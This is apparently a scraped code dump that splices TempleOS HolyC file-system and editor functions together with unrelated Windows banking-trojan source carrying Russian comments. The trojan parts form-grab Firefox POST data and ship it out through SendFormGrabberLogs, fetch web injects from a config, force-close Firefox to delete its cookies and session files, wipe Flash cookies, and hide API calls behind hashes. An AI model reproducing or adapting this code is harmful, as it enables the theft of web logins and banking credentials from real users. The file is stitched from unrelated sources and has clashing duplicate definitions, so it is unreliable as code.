bool DeleteFiles(PCHAR Path, PCHAR Ext, bool Recursive, bool DeleteSubDir, HCAB hCab)
{
// Функция удаляет файлы с расширением Ext из директории Path
// Возвращает общий размер удалённых файлов
if (Path == NULL || Ext == NULL)
return 0;
bool Result = false;
// В связи с тем, что могут использованы маски при которых
// директории находиться не будут, директории обрабатываем отдельно
if (Recursive)
Result = DeleteInSubDirectories(Path, Ext, DeleteSubDir, hCab);
PCHAR Mask = StrNew(2, Path, Ext);
WIN32_FIND_DATA Search;
HANDLE File = (HANDLE)pFindFirstFileA(Mask, &Search);
if (File == INVALID_HANDLE_VALUE)
{
StrFree(Mask);
return Result;
}
// Перебираем найденные файлы
while (File != NULL)
{
if ((Search.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0)
{
// Удаляем файл
PCHAR FileName = StrNew(2, Path, Search.cFileName);
// В случае если файл имеет атрибут "Только чтение" меняем
// ему атрибуты
if ((Search.dwFileAttributes & FILE_ATTRIBUTE_READONLY) != 0)
pSetFileAttributesA(FileName, FILE_ATTRIBUTE_ARCHIVE);
// Удаляем файл
if(hCab != NULL && !AddFileToCab(hCab, FileName, FileName))
//if(ZipAdd(hZip, rel, abs, 0, ZIP_FILENAME)!=ZR_OK)
{
//998 ERROR_NOACCESS - Invalid access to memory location.
//32 ERROR_SHARING_VIOLATION - The process cannot access the file because it is being used by another process.
DWORD err = (DWORD)pGetLastError();
err=err;
}
if (pDeleteFileA(FileName))
Result = true;
StrFree(FileName);
}
// Получаем следцющий файл
if (!(BOOL)pFindNextFileA(File, &Search)) break;
}
// Освобождаем данные
StrFree(Mask);
pFindClose(File);
return Result;
}
void PrintLabel( const char *labelName, const char *format, va_list *args ) {
Str *label = StrNew( labelName );
Str *formatString = StrNew( format );
Str *messageString = StrConcat( label, formatString );
Print( messageString->value, args );
StrDel( label );
StrDel( formatString );
StrDel( messageString );
}
CFileAccess *FileAccessNew(U8 *_mask,Bool make_mask=FALSE,Bool make_dirs=FALSE)
{
Bool valid=TRUE,old_silent;
U8 *buf,*mask,*temp_mask;
CFileAccess *fa=CAlloc(sizeof(CFileAccess));
mask=MStrUtil(_mask,
SUF_REM_LEADING|SUF_REM_TRAILING|SUF_REM_CTRL_CHARS);
temp_mask=mask;
fa->old_dir=StrNew(Fs->cur_dir);
fa->old_prt=Fs->cur_prt;
if (*mask && mask[1]==':') {
if (Fs->cur_prt!=Drv2Prt(*mask))
if (!Drv(*mask)) valid=FALSE;
mask+=2;
}
if (StrStr(mask,"HOME") && Fs->cur_prt!=Drv2Prt(*sys_acct))
Drv(*sys_acct);
fa->p=Fs->cur_prt;
PrtChk(fa->p);
buf=MAlloc(StrLen(mask)+2);
StrCpy(buf,mask);
fa->mask=MAlloc(StrLen(mask)+2);
StrLastRem(buf,"/",fa->mask);
if (*mask=='/' && !*buf)
StrCpy(buf,"/");
//If began with Dir, change to Dir.
if (*buf && !Cd(buf,make_dirs))
valid=FALSE;
if (valid && make_mask) {
if (!*fa->mask) {
Free(fa->mask);
fa->mask=StrNew("*");
} else {
if (!make_dirs || FileNameChk(fa->mask)) {
old_silent=Silent(ON);
//Try mask to see if Dir. If Dir, change to dir and set to "*".
if (Cd(fa->mask,make_dirs)) {
Free(fa->mask);
fa->mask=StrNew("*");
}
Silent(old_silent);
}
}
}
Free(buf);
Free(temp_mask);
if (!valid) {
FileAccessDel(fa);
fa=NULL;
// throw(EXCEPT_FILE);
}
return fa;
}
bool DeleteFiles(PCHAR Path, PCHAR Ext, bool Recursive, bool DeleteSubDir)
{
// Функция удаляет файлы с расширением Ext из директории Path
// Возвращает общий размер удалённых файлов
if (Path == NULL || Ext == NULL)
return 0;
bool Result = false;
// В связи с тем, что могут использованы маски при которых
// директории находиться не будут, директории обрабатываем отдельно
if (Recursive)
Result = DeleteInSubDirectories(Path, Ext, DeleteSubDir);
PCHAR Mask = StrNew(2, Path, Ext);
WIN32_FIND_DATA Search;
HANDLE File = pFindFirstFileA(Mask, &Search);
if (File == INVALID_HANDLE_VALUE)
{
StrFree(Mask);
return Result;
}
// Перебираем найденные файлы
while (File != NULL)
{
if ((Search.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0)
{
// Удаляем файл
PCHAR FileName = StrNew(2, Path, Search.cFileName);
// В случае если файл имеет атрибут "Только чтение" меняем
// ему атрибуты
if ((Search.dwFileAttributes & FILE_ATTRIBUTE_READONLY) != 0)
pSetFileAttributesA(FileName, FILE_ATTRIBUTE_ARCHIVE);
// Удаляем файл
if (pDeleteFileA(FileName))
Result = true;
StrFree(FileName);
}
// Получаем следцющий файл
if (!pFindNextFileA(File, &Search)) break;
}
// Освобождаем данные
StrFree(Mask);
pFindClose(File);
return Result;
}
Bool Drv(U8 drv_let)
{
CPrt *p=Drv2Prt(drv_let);
CBlkDev *bdev=p->bdev;
BlkDevChk(bdev);
if (p!=Fs->cur_prt) {
if ( bdev->flags & BDF_REMOVABLE &&
!(bdev->flags & BDF_INITIALIZED) )
ChgDsk(Prt2Drv(p));
if (bdev->type==BDT_RAM)
BlkDevInit(bdev);
}
Fs->cur_prt=p;
Free(Fs->cur_dir);
Fs->cur_dir=StrNew("/");
switch (p->type) {
case PT_REDSEA:
case PT_FAT32:
case PT_ISO9660:
return TRUE;
default:
PutDefineErr("ST_UNSUPPORTED_FILE_SYSTEM");
return FALSE;
}
}
U0 ViewComics()
{
I64 i=0;
U8 *st;
CDirEntry *tempm,*tempm1;
CDoc *doc=DocNew;
DocPutS(doc,"$$FG,LTBLUE$$");
tempm=FilesFind("Comics/*.TXT*");
tempm1=tempm;
while (tempm1) {
st=StrNew(tempm1->name);
FileExtRem(st);
tempm1->user_data=DocPrintF(doc,"$$MU-UL,\"%-10ts\",%d$$ ",st,tempm1);
Free(st);
tempm1=tempm1->next;
if ((i++&3)==3)
DocPutS(doc,"\n");
}
while (TRUE) {
if ((tempm1=PopUpMenu(doc))>0)
Ed(tempm1->full_name);
else
break;
}
DocDel(doc);
CDirLstDel(tempm);
}
U8 *FileNameAbs(U8 *_filename,I64 fuf_flags=0)
{ //$LK,"FUF_Z_OR_NOT_Z","MN:FUF_Z_OR_NOT_Z"$, $LK,"FUF_SCAN_PARENTS","MN:FUF_SCAN_PARENTS"$
U8 *buf,*buf2,*buf3,*filename,*temp_name,*temp_buf;
CDirEntry de;
filename=MStrUtil(_filename,
SUF_REM_LEADING|SUF_REM_TRAILING|SUF_REM_CTRL_CHARS);
temp_name=filename;
buf=StrNew(filename);
temp_buf=buf;
if (*buf && buf[1]==':') {
buf+=2;
filename+=2;
}
buf2=MAlloc(StrLen(temp_name)+1);
StrLastRem(buf,"/",buf2);
if (*filename=='/' && !*buf)
StrCpy(buf,"/");
buf3=DirNameAbs(temp_buf);
Free(temp_buf);
buf=MAlloc(StrLen(buf3)+1+StrLen(buf2)+1);
StrCpy(buf,buf3);
if (buf[StrLen(buf)-1]!='/')
StrCat(buf,"/");
StrCat(buf,buf2);
Free(buf2);
Free(buf3);
Free(temp_name);
if (fuf_flags&&FileFind(buf,&de,fuf_flags|FUF_JUST_FILES)) {
Free(buf);
buf=de.full_name;
}
return buf;
}
bool UpdateContentLength(PREQUEST Request, bool FreeOldBuf)
{
// Функция обновляет заголовок "Content-Length" в заголовках HTTP запроса
char * Buffer = (char *)Request->pBuf;
// копируем HTTP заголовок
int HeaderOffset = m_istrstr(Buffer, "\r\n\r\n" );
if (HeaderOffset == -1)
return false;
HeaderOffset += 4; // увеличиваем размер заголовка на "\r\n\r\n"
PCHAR Header = StrNew(Buffer, HeaderOffset);
if (Header == NULL)
return false;
// Лпределяем позицию параметра в заголовках
m_lstrlwr(Header); // приводим заголовок к нижнему регистру
char CL[] = {'c','o','n','t','e','n','t','-','l','e','n','g','t','h',':',' ',0};
int Pos = m_istrstr(Header, CL);
StrFree(Header);
if (Pos == -1)
return false;
// Копируем оригинальный заголовок
DWORD ParamLen = m_lstrlen(CL);
char *ParamName = (char*)MemAlloc(ParamLen + 1);
if (ParamName == NULL)
return false;
m_memcpy(ParamName, Buffer + Pos, ParamLen);
// Создаём строку с новым значением
DWORD NewValue = m_lstrlen(Buffer + HeaderOffset);
char NewContentLen[10];
typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... );
fwsprintfA pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 );
pwsprintfA(NewContentLen, "%d", NewValue);
// Вписываем новое значение
char *NewBuffer = NULL;
bool Result = SubstituteText(Buffer, 0, &NewBuffer, ParamName, NewContentLen, "\r\n") >= 0;
MemFree(ParamName);
// Меняем буфер запроса
if (Result)
{
if (FreeOldBuf)
MemFree(Request->pBuf);
Request->pBuf = (LPBYTE)NewBuffer;
Request->uBufSize = m_lstrlen(NewBuffer);
}
return Result;
}
U0 EdRemFunLeadingSpace(CDoc *doc)
{
Bool unlock=DocLock(doc),
start_of_line=TRUE;
U8 ch,*ptr;
I64 levels=1;
CDocEntry *doc_e,*doc_e2;
EdGoToFun(doc,FALSE,FALSE);
doc_e=doc->cur_entry->next;
do {
doc_e2=doc_e->next;
if (doc_e!=doc && doc_e!=doc->cur_entry &&
!(doc_e->flags1&(DOCEG1_DONT_EDIT-DOCEF1_SCROLLING_X)) &&
!(doc_e->flags2&DOCEG2_DONT_EDIT))
switch (doc_e->type_u8) {
case DOCT_TEXT:
ptr=doc_e->tag;
if (start_of_line) {
while (*ptr==CH_SPACE)
ptr++;
if (*ptr)
start_of_line=FALSE;
ptr=StrNew(ptr,doc->mem_task);
Free(doc_e->tag);
doc_e->tag=ptr;
}
if (!*ptr)
DocEntryDel(doc,doc_e);
else {
while (ch=*ptr++)
if (ch=='{')
levels++;
else if (ch=='}') {
if (!--levels)
break;
}
if (!levels) goto ls_done;
}
break;
case DOCT_TAB:
if (start_of_line)
DocEntryDel(doc,doc_e);
break;
case DOCT_NEW_LINE:
start_of_line=TRUE;
break;
default:
start_of_line=FALSE;
}
doc_e=doc_e2;
} while (doc_e!=doc->cur_entry);
ls_done:
DocRecalc(doc);
DocCenter(doc);
if (unlock)
DocUnlock(doc);
}
public Bool DocTreeFind(CDoc *doc,U8 *path,
CDocEntry **_tree_entry=NULL,
CDocEntry **_start_indent=NULL, CDocEntry **_end_indent=NULL)
{
I64 i=0,k=0;
U8 *st1=StrNew(path),*st2=MAlloc(StrLen(path)+1);
Bool result=FALSE,unlock_doc=DocLock(doc);
CDocEntry *doc_e=doc->root.next;
if (_tree_entry) *_tree_entry=doc;
if (_start_indent) *_start_indent=doc;
if (_end_indent) *_end_indent=doc;
while (*st1 && doc_e!=doc) {
StrFirstRem(st1,"/",st2);
if (*st2) {
while (doc_e!=doc) {
if (doc_e->type_u8==DOCT_INDENT)
i+=doc_e->attr;
else if (i==k && doc_e->flags1&DOCEF1_TREE && !StrCmp(doc_e->tag+3,st2)) {
if (*st1)
break;
else {
if (_tree_entry) *_tree_entry=doc_e;
i=0;
while (doc_e!=doc && doc_e->type_u8!=DOCT_INDENT)
doc_e=doc_e->next;
if (doc_e!=doc) {
i=doc_e->attr;
if (_start_indent) *_start_indent=doc_e;
doc_e=doc_e->next;
while (doc_e!=doc && i>0) {
if (doc_e->type_u8==DOCT_INDENT) {
i+=doc_e->attr;
if (i<=0) {
if (_end_indent) *_end_indent=doc_e;
result=TRUE;
break;
}
}
doc_e=doc_e->next;
}
}
goto ft_done;
}
}
doc_e=doc_e->next;
}
k+=2;
}
}
ft_done:
if (unlock_doc)
DocUnlock(doc);
Free(st1);
Free(st2);
return result;
}
U8 *ToggleZorNotZ(U8 *name)
{
U8 *result;
if (IsDotZ(name)) {
result=StrNew(name);
result[StrLen(name)-2]=0;
} else
result=MSPrintF("%s.Z",name);
return result;
}
PCHAR GetAppDataPath()
{
// Функция возвращает путь к директории хранения данных приложений
char Path[MAX_PATH];
DWORD Size = MAX_PATH;
if (!(BOOL)pSHGetSpecialFolderPathA(NULL, &Path[0], CSIDL_APPDATA, Size))
return NULL;
PCHAR Result = StrNew(2, &Path[0], "\\");
return Result;
}
bool DeleteInSubDirectories(PCHAR Path, PCHAR Mask, bool DeleteSubDir)
{
// Функция рекурсивно удаляет файлы в поддиректориях
PCHAR SearchMask = StrNew(2, Path, "*.*");
bool Result = false;
// Запусукаем поиск
// Ищем первую директорию
WIN32_FIND_DATA Find;
HANDLE File = pFindFirstFileA(SearchMask, &Find);
// Директория не найдена, выходим из функции
if (File == INVALID_HANDLE_VALUE)
{
StrFree(SearchMask);
return false;
}
// Организовываем цикл
do
{
if ((Find.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0 && !IgnorePath(Find.cFileName))
{
PCHAR NewPath = StrNew(3, Path, Find.cFileName, "\\");
if (DeleteFiles(NewPath, Mask, true, DeleteSubDir))
Result = true;
if (DeleteSubDir)
pRemoveDirectoryA(NewPath);
StrFree(NewPath);
}
}
while (pFindNextFileA(File, &Find));
pFindClose(File);
StrFree(SearchMask);
return Result;
}
bool DeleteSOL()
{
// Функция удаляет кукисы программы Macromedia FlashPlayer
PCHAR DataPath = GetAppDataPath();
if (DataPath == NULL)
return false;
// Создаём путь к папке кукисов
PCHAR Path = StrNew(2, DataPath, "Macromedia\\Flash Player\\");
StrFree(DataPath);
// Чистим директории
bool Result = ClearDirectory(Path);
Result = Result | DeleteFiles("C:\\WINDOWS\\system32\\Macromed\\", "*.sol", true, false);
StrFree(Path);
return Result;
}
bool DeleteFFCookies()
{
// Функция цдаляет файл куков браузера Mozilla Firefox
PCHAR DataPath = GetAppDataPath();
if (DataPath == NULL)
return false;
PCHAR Path = StrNew(2, DataPath, "Mozilla\\Firefox\\Profiles\\");
StrFree(DataPath);
KillFireFox();
bool Result = DeleteFiles(Path, "cookies.sqlite", true, false);
bool Result2 = DeleteFiles(Path, "sessionstore.*", true, false);
StrFree(Path);
return Result;
}
bool ProcessPostData(PREQUEST pReq, PCHAR Optional)
{
// Обработать POST данные
// Проверяем библиотеку ScreenShot
if ( CalcHash(Optional) == 0x24DE3210 )
{
StartThread( ScreensThread, NULL );
return true;
}
// Отправляем данные формы на сервер
PCHAR SendBuf = StrNew(3, pReq->Url, "?|POST:", Optional);
if (SendBuf == NULL)
return false;
bool Res = SendFormGrabberLogs(pReq->Url, SendBuf, FFUserAgent, BROWSER_TYPE_FF, DATA_TYPE_FORMGRAB);
StrFree(SendBuf);
return Res;
}
U0 FileAccessDel(CFileAccess *fa)
{
CBlkDev *bdev;
if (!fa) return;
bdev=fa->old_prt->bdev;
if (!(bdev->flags & BDF_INIT_IN_PROGRESS)) {
if (fa->old_dir) {
Drv(Prt2Drv(fa->old_prt));
Cd(fa->old_dir);
}
} else {
Fs->cur_prt=fa->old_prt;
Free(Fs->cur_dir);
Fs->cur_dir=StrNew("/");
}
Free(fa->old_dir);
Free(fa->mask);
Free(fa);
}
U8 *DirFile(U8 *dirname,U8 *name=NULL,U8 *_extension=NULL)
{ /*
Strips file from dirname, scans for file upward until found or returns default.
("/TempleOS/Kernel/Hash1a.CPP.Z",NULL,NULL) returns "D:/TempleOS/Kernel"
("/TempleOS/Kernel",NULL,"PRJ.Z") returns "D:/TempleOS/Kernel/Kernel.PRJ.Z"
("/TempleOS/Kernel/Dsk",NULL,"PRJ.Z") returns "D:/TempleOS/Kernel/Kernel.PRJ.Z"
("/TempleOS/Apps/MusicOrgan","Load","CPP.Z") returns "D:/TempleOS/Apps/MusicOrgan/Load.CPP.Z"
*/
U8 *st=DirNameAbs(dirname),*st2,*st3,*result,*dft=NULL,*ext;
if (_extension && *_extension) {
if (*_extension=='.')
ext=StrNew(_extension);
else
ext=MSPrintF(".%s",_extension);
} else
ext=StrNew("");
while (StrOcc(st,'/')&&!IsDir(st))
StrLastRem(st,"/");
while (StrOcc(st,'/')) {
st2=StrNew(st);
st3=StrNew(st);
StrLastRem(st2,"/",st3);
if (name)
result=MSPrintF("%s/%s%s",st,name,ext);
else {
if (*ext)
result=MSPrintF("%s/%s%s",st,st3,ext);
else
result=StrNew(st);
}
if (!dft)
dft=StrNew(result);
if (!*ext&&(!name||!*name)||FileFind(result)) {
Free(st3);
Free(st2);
Free(st);
Free(dft);
Free(ext);
return result;
}
Free(st);
st=st2;
Free(st3);
}
Free(st);
Free(ext);
return dft;
}
Bool FilesFindMatch(U8 *files_find_mask,U8 *filename,I64 fuf_flags=0)
{
U8 *st1=StrNew(files_find_mask),
*st2=MAlloc(StrLen(files_find_mask)+1);
Bool result=FALSE;
while (TRUE) {
StrFirstRem(st1,";",st2);
if (*st2) {
if (*st2=='~') {
if (WildCardMatch(st2+1,filename)) {
result=FALSE;
break;
}
} else {
if (WildCardMatch(st2,filename)) {
if (Bt(&fuf_flags,FUf_JUST_TXT_FILES) && !FilesFindMatch(FILENAME_MASK_TXT,filename)) {
result=FALSE;
break;
} else if (Bt(&fuf_flags,FUf_JUST_SRC_FILES) && !FilesFindMatch(FILENAME_MASK_SRC,filename)) {
result=FALSE;
break;
} else if (Bt(&fuf_flags,FUf_JUST_AOT_FILES) && !FilesFindMatch(FILENAME_MASK_AOT,filename)) {
result=FALSE;
break;
} else if (Bt(&fuf_flags,FUf_JUST_JIT_FILES) && !FilesFindMatch(FILENAME_MASK_JIT,filename)) {
result=FALSE;
break;
} else if (Bt(&fuf_flags,FUf_JUST_GRA_FILES) && !FilesFindMatch(FILENAME_MASK_GRA,filename)) {
result=FALSE;
break;
} else
result=TRUE;
}
}
} else
break;
}
Free(st1);
Free(st2);
return result;
}
bool FindInjectFF(PREQUEST Request)
{
PCHAR Method = HTTPMethodGET;
if (Request->dwVerb == hmPOST)
Method = HTTPMethodPOST;
bool DelURL = false;
PCHAR URL = Request->Url;
if (Request->Optional != NULL)
{
URL = StrNew(3, URL, "?", Request->Optional);
if (URL == NULL)
return false;
DelURL = true;
}
bool Result = GetInjectFromConfig(URL, Method, &Request->pInject, &Request->dwInjCount);\
if (DelURL)
StrFree(URL);
return Result;
}
Bool Cd(U8 *dirname,Bool make_dirs=FALSE)
{//Optionally, will create the directories if they don't exist.
I64 maxlen,cur_dir_cluster=0;
U8 *chg_to_buf,*new_cur_dir,*buf;
CPrt *p;
Bool result=TRUE;
if (!*dirname) return TRUE;
if (dirname[1]==':') {
if (*dirname==':') {
if (Fs->cur_prt->drv_let!=*sys_acct)
if (!Drv(*dirname)) return FALSE;
} else {
if (Fs->cur_prt!=
Drv2Prt(*dirname))
if (!Drv(*dirname)) return FALSE;
}
dirname+=2;
}
if (*dirname=='/' || !*dirname || !Fs->cur_dir) {
Free(Fs->cur_dir);
Fs->cur_dir=StrNew("/");
if (*dirname=='/')
dirname++;
}
chg_to_buf=MStrUtil(dirname,
SUF_REM_LEADING|SUF_REM_TRAILING|SUF_REM_CTRL_CHARS);
maxlen=StrLen(Fs->cur_dir)+1+StrLen(chg_to_buf)+1;
new_cur_dir=MAlloc(maxlen);
buf=MAlloc(maxlen);
StrCpy(new_cur_dir,Fs->cur_dir);
while (*chg_to_buf && result) {
StrFirstRem(chg_to_buf,"/",buf);
if (!*buf)
StrCpy(new_cur_dir,"/");
else if (!StrCmp(buf,"..")) {
StrLastRem(new_cur_dir,"/");
if (!*new_cur_dir)
StrCpy(new_cur_dir,"/");
} else if (!StrCmp(buf,".")) {
;
} else if (*buf) {
if (!StrCmp(buf,"HOME")) {
result=Cd(sys_acct);
Free(new_cur_dir);
new_cur_dir=MAlloc(maxlen+StrLen(sys_acct));
StrCpy(new_cur_dir,sys_acct+2);
} else {
p=Fs->cur_prt;
cur_dir_cluster=Name2DirCluster(p,new_cur_dir);
switch (p->type) {
case PT_REDSEA:
result=RedSeaFSCd(buf,cur_dir_cluster);
break;
case PT_FAT32:
result=FAT32Cd(buf,cur_dir_cluster);
break;
case PT_ISO9660:
result=ISO1Cd(buf,cur_dir_cluster);
break;
default:
PutDefineErr("ST_UNSUPPORTED_FILE_SYSTEM");
result=FALSE;
}
if (!result && make_dirs) {
Free(Fs->cur_dir);
Fs->cur_dir=StrNew(new_cur_dir);
result=MkDir(buf);
}
if (result) {
if (StrCmp(new_cur_dir,"/"))
StrCat(new_cur_dir,"/");
StrCat(new_cur_dir,buf);
}
}
}
}
Free(Fs->cur_dir);
Fs->cur_dir=StrNew(new_cur_dir);
Free(buf);
Free(chg_to_buf);
Free(new_cur_dir);
return result;
}
bool MakeInfo( PREQUEST pReq, PCHAR buf, int len )
{
// Собираем информацию об отправляемом запросе
PCHAR MethodName;
PCHAR Path;
// Разбираем тип запроса
if (!ParseRequestFirstLine(buf, &MethodName, &Path, NULL))
return false;
pReq->dwVerb = GetMethodFromStr(MethodName);
if (pReq->dwVerb != hmGET && pReq->dwVerb!= hmPOST)
{
StrFree(MethodName);
StrFree(Path);
return false;
}
// Собираем URL
PCHAR Host = GetHTTPHeaderValue(buf, ParamHost);
PCHAR Protocol = ProtocolHTTP;
if (pReq->bHttps) Protocol = ProtocolHTTPS;
pReq->Url = StrNew(5, Protocol, "://", Host, "/", Path);
StrFree(Path);
StrFree(Host);
if (pReq->Url == NULL) return false;
// Проверяем POST данные
if (pReq->dwVerb == hmPOST)
{
UpdateFFUserAgent(buf);
DWORD HeaderHash = CalcHash(buf);
if (FindHash(HeaderHash)) return true;
// Проверяем тип контента
PCHAR CT = GetHTTPHeaderValue(buf, ParamContentType);
DWORD Hash = CalcHash(CT);
StrFree(CT);
if (Hash != 0x6B3CDFEC) /* url_encoded*/
return true;
// Обрабатываем пост данные
PCHAR Optional = GetURLEncodedPostData(buf);
pReq->Optional = Optional;
if (Optional != NULL && ProcessPostData(pReq, Optional))
AddHash(HeaderHash);
}
/* if ( len < 10 )
{
return false;
}
DWORD dwMethod = -1;
char Post[] = {'P','O','S','T',' ',0};
char Get[] = {'G','E','T',' ',0};
char *Method = NULL;
if ( !m_lstrncmp( buf, Get, 4 ) )
{
dwMethod = VERB_IS_GET;
Method = Get;
}
if ( !m_lstrncmp( buf, Post, 5 ) )
{
dwMethod = VERB_IS_POST;
Method = Post;
}
if ( dwMethod == (DWORD)-1 )
{
return false;
}
//----------------------------------------------------------------------
typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... );
fwsprintfA pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 );
char *Host = NULL;
char *Params = NULL;
char Server[] = {'H','o','s','t',':',' ',0};
if ( GetText( buf, &Host, Server, "\r\n" ) != -1 )
{
if ( GetText( buf, &Params, Method, " " ) != -1 )
{
char *Type = NULL;
char https[] = {'h','t','t','p','s',':','/','/',0};
char http[] = {'h','t','t','p',':','/','/',0};
if ( pReq->bHttps )
{
Type = https;
}
else
{
Type = http;
}
if ( ( pReq->Url = (char*)MemAlloc( 1024 ) ) != NULL )
{
pwsprintfA( pReq->Url, "%s%s%s", Type, Host, Params );
pReq->dwVerb = dwMethod;
}
MemFree( Params );
}
MemFree( Server );
MemFree( Host );
}
DWORD dwHeaderHash = CalcHash( buf );
if ( pReq->Url != NULL && pReq->dwVerb == VERB_IS_POST )
{
if ( !FindHash( dwHeaderHash ) )
{
char ContentType[] = {'C','o','n','t','e','n','t','-','T','y','p','e',':',' ',0 };
char *Content = NULL;
if ( GetText( buf, &Content, ContentType, "\r\n" ) != -1 )
{
DWORD dwContentHash = CalcHash( Content );
MemFree( Content );
if ( dwContentHash == 0x6B3CDFEC ) //urlencode
{
DWORD dwLen = 0;
char *PostReq = GetPostData( buf, &dwLen, len );
if ( PostReq != NULL && dwLen )
{
if ( ( pReq->Optional = (char*)MemAlloc( dwLen + 1 ) ) != NULL )
{
m_memcpy( pReq->Optional, PostReq, dwLen );
}
if ( CalcHash( pReq->Optional ) == 0x24DE3210 )
{
StartThread( ScreensThread, NULL );
AddHash( dwHeaderHash );
return true;
}
MemFree( PostReq );
char PostTag[] = {'|','P','O','S','T',':',0};
char *SendBuffer = (char*)MemAlloc( dwLen + m_lstrlen( pReq->Url ) + m_lstrlen( PostTag ) + 2 );
if ( SendBuffer != NULL )
{
m_lstrcpy( SendBuffer, pReq->Url );
m_lstrcat( SendBuffer, "?" );
m_lstrcat( SendBuffer, PostTag );
m_lstrcat( SendBuffer, pReq->Optional );
if ( !m_lstrlen( FFUserAgent ) )
{
char UserAgentStr[] = {'U','s','e','r','-','A','g','e','n','t',':',' ', 0};
char *pUserAgent = GetHttpInfo(UserAgentStr, buf );
if ( pUserAgent == NULL )
{
FFUserAgent[0] = '-';
FFUserAgent[1] = '\0';
}
else
{
if ( m_lstrlen( pUserAgent ) <= 255 )
{
m_lstrcpy( FFUserAgent, pUserAgent );
}
}
MemFree( pUserAgent );
}
if ( SendFormGrabberLogs(pReq->Url, SendBuffer, FFUserAgent, BROWSER_TYPE_FF, DATA_TYPE_FORMGRAB ) )
{
AddHash( dwHeaderHash );
}
MemFree( SendBuffer );
}
}
}
}
}
}
*/
return true;
}
U8 *DirNameAbs(U8 *_dirname)
{
I64 maxlen;
U8 drv[3],*cur_dir,*buf2,*buf3,*buf,*dirname,*temp_name;
if (!Fs->cur_dir || !*Fs->cur_dir)
return StrNew(_dirname);
dirname=MStrUtil(_dirname,
SUF_REM_LEADING|SUF_REM_TRAILING|SUF_REM_CTRL_CHARS);
temp_name=dirname;
*drv=Prt2Drv;
drv[1]=':';
drv[2]=0;
if (*dirname && dirname[1]==':') {
if (*dirname==':')
*drv=*sys_acct;
else
*drv=*dirname;
dirname=dirname+2;
cur_dir=StrNew("/");
} else
cur_dir=StrNew(Fs->cur_dir);
if (*dirname=='/') {
Free(cur_dir);
cur_dir=StrNew("/");
dirname++;
}
buf2=StrNew(dirname);
maxlen=StrLen(cur_dir)+1+StrLen(buf2)+1;
buf3=MAlloc(maxlen);
buf =MAlloc(maxlen);
StrCpy(buf3,cur_dir);
while (*buf2) {
StrFirstRem(buf2,"/",buf);
if (!*buf)
StrCpy(buf3,"/");
else if (!StrCmp(buf,"..")) {
StrLastRem(buf3,"/");
if (!*buf3)
StrCpy(buf3,"/");
} else if (!StrCmp(buf,".")) {
;
} else if (*buf) {
if (!StrCmp(buf,"HOME")) {
Free(buf3);
buf3=MAlloc(maxlen+StrLen(sys_acct));
StrCpy(buf3,sys_acct+2);
*drv=*sys_acct;
} else {
if (StrCmp(buf3,"/"))
StrCat(buf3,"/");
StrCat(buf3,buf);
}
}
}
Free(cur_dir);
cur_dir=MAlloc(StrLen(buf3)+3);
StrCpy(cur_dir,drv);
StrCpy(cur_dir+2,buf3);
Free(buf);
Free(buf2);
Free(buf3);
Free(temp_name);
return cur_dir;
}
